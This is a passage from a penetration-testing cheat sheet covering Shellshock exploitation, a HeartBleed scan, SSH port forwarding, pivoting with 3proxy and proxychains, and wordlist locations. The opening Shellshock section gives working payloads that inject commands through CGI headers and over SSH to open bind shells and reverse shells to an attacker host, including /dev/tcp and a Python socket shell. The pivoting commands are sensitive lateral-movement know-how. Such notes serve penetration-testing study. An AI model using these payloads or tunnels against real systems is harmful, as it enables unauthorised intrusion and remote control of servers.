echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc $ip 80
Copied!
1
curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" $ip/cgi-bin/status
Copied!
1
curl -H "UserAgent: () { :; }; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.123\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" http://$ip/cgi-bin/test.sh
Copied!
Shellshock over SSH:
1
ssh [email protected]$ip '() { :;}; /bin/bash'
Copied!
Exploit shellshock via curl, use -k switch to force curl to bypass any SSL warnings. Replace the bash command with anything.
1
curl http://192.168.123.123/path/to/cgi- bin/name_of_vuln_cgi -H "custom:() { ignored; }; /bin/bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1 "
Copied!

HeartBleed

Test web server
1
sslscan $ip:443
Copied!

Internet explorer 6

Vulnerable to msf exploit(ms10_002_aurora)

Tunneling your traffic through another host

Port forwarding

Simplest type of traffic redirection, consists on accepting traffic from one address and port port and redirecting it to another address and port.
It can be useful to bypass address and port based filters. Rinetd is a linux tool to do it.

Local port forwarding

Creates an encrypted tunnel through two machines and have traffic redirected to a final host and port, similar to port forwarding This is useful when you are trying to connect from your machine to a destination using a gateway. The syntax is:
1
ssh gateway_host -L local_port:remote_host:remote_port
Copied!
You can later create a SSH session to the local port and have and SSH tunneled to destination:
1
ssh hop_machine -L 31337:banned_machine:22
2
ssh -p 31337 localhost
Copied!

Remote port forwarding

It creates a tunnel from the target machine to your local machine, which allows connecting to an arbitrary port on the target. Useful if the target is in a non-routable network from your local machine. This is useful when you are trying to connect to a host, behind a firewall that blocks incoming connections. This technique works as the previous one, but the connection is started from the gateway. The syntax is:
1
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Copied!

Dynamic Port Forwarding

Allows to create a tunnel from the target to your machine, and have the traffic routed to any host through target. You can configure a local port to forward traffic to multiple destinations passing through a single host. It is similar to local port forwarding but allows multiple destinations. It uses the SOCKS protocol. The syntax is:
1
ssh -D local_port remote_add
Copied!
The connection of the previous command is established at port 22 of remote addr.

Pivoting

1. drop 3proxy.exe
2. Set up a config file:
1
allow *_
2
internal IP_SAME_NETWORK
3
external IP_OTHER_NETWORK
4
socks -p1081
Copied!
3. Add to /etc/proxychains.conf:
1
socks4 IP_SAME_NETWORK 1081
Copied!
4. Scan:
1
proxychains nmap -sT -Pn IP_OTHER_NETWORK-250 --top-ports=5
Copied!

Double-pivoting

Pivoting through two different networks:
First, create a dynamic port forwarding through the first network:
1
ssh -f -N -D 9050 [email protected]
Copied!
Edit /etc/proxychains.conf and add as default gateway:
1
socks4 127.0.0.1 9050
Copied!
Use the proxy to create a second dynamic port forward to the second network:
1
proxychains ssh -f -N -D 10050 [email protected] -p 22
Copied!
Edit again /etc/proxychains.conf and add as default gateway:
1
socks4 127.0.0.1 10050
Copied!
    You can now use proxychains to pivot to the target network:
    1
    proxychains nmap -sTV -n -PN 10.1.2.1 -254
    Copied!

CVEs

    1
    http://www.cvedetails.com/
    2
    https://www.exploit-db.com/
    Copied!

Word Lists

    1
    /usr/share/seclists/
    2
    /usr/share/wordlist/
    3
    /usr/share/metasploit-framework/data/wordlists/
    Copied!
Minimal web server
    1
    for i in 1 2 3 4 5 6 7; do echo -e '200 OK HTTP/1.1\r\nConnection:close\r\n\r\nfoo\r\n' |nc -q 0 -klvvp 80; done
    Copied!

​

Proxy

Protocols
1
http://
2
http://
3
connect://
4
sock4://
5
sock5://
Copied!
Last modified 5mo ago